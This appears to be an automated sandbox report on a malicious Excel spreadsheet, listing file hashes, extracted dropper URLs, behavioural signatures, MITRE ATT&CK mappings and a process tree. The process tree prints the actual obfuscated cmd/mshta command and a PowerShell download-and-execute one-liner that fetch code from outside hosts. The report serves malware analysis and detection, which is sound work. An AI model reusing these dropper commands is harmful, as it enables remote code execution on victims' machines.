a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72

General

Target

93de92f3e2868b196ea53446264d69e9.xls
Size

142KB
MD5

93de92f3e2868b196ea53446264d69e9
SHA1

5a222d7fc81852ec5fb1ca0abca5fb7810e97299
SHA256

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72
SHA512

e0e3a2ca736ff74a5d756867a8c0418415a0f74fbb134ff09da468fe20a11c105ad9a230b8b05b9b3b45967f5afaedf1243f1f451c078bdc96d04adca7cc994e

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2012	1784	cmd.exe	EXCEL.EXE

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 864 created 1156 864 WerFault.exe mshta.exe
Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

25 1156 mshta.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

mshta.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation mshta.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2400 1156 WerFault.exe mshta.exe

description	pid	process	target process
PID 864 created 1156	864	WerFault.exe	mshta.exe

flow	pid	process
25	1156	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

pid	pid_target	process	target process
2400	1156	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1784 EXCEL.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE
1784	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exeWerFault.exe

description	pid	process	target process
PID 1784 wrote to memory of 2124	1784	EXCEL.EXE	splwow64.exe
PID 1784 wrote to memory of 2124	1784	EXCEL.EXE	splwow64.exe
PID 1784 wrote to memory of 2012	1784	EXCEL.EXE	cmd.exe
PID 1784 wrote to memory of 2012	1784	EXCEL.EXE	cmd.exe
PID 2012 wrote to memory of 1156	2012	cmd.exe	mshta.exe
PID 2012 wrote to memory of 1156	2012	cmd.exe	mshta.exe
PID 1156 wrote to memory of 2728	1156	mshta.exe	powershell.exe
PID 1156 wrote to memory of 2728	1156	mshta.exe	powershell.exe
PID 864 wrote to memory of 1156	864	WerFault.exe	mshta.exe
PID 864 wrote to memory of 1156	864	WerFault.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\93de92f3e2868b196ea53446264d69e9.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2124
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2012
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2728
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1156 -s 1720
      4⤵
      Program crash
      PID:2400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:1900

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 420 -p 1156 -ip 1156
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:864

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1784-130-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Filesize
64KB

Download
memory/1784-131-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Filesize
64KB

Download
memory/1784-132-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Filesize
64KB

Download
memory/1784-133-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Filesize
64KB

Download
memory/1784-134-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp

Filesize
64KB

Download
memory/1784-137-0x00007FF801E70000-0x00007FF801E80000-memory.dmp

Filesize
64KB

Download
memory/1784-138-0x00007FF801E70000-0x00007FF801E80000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads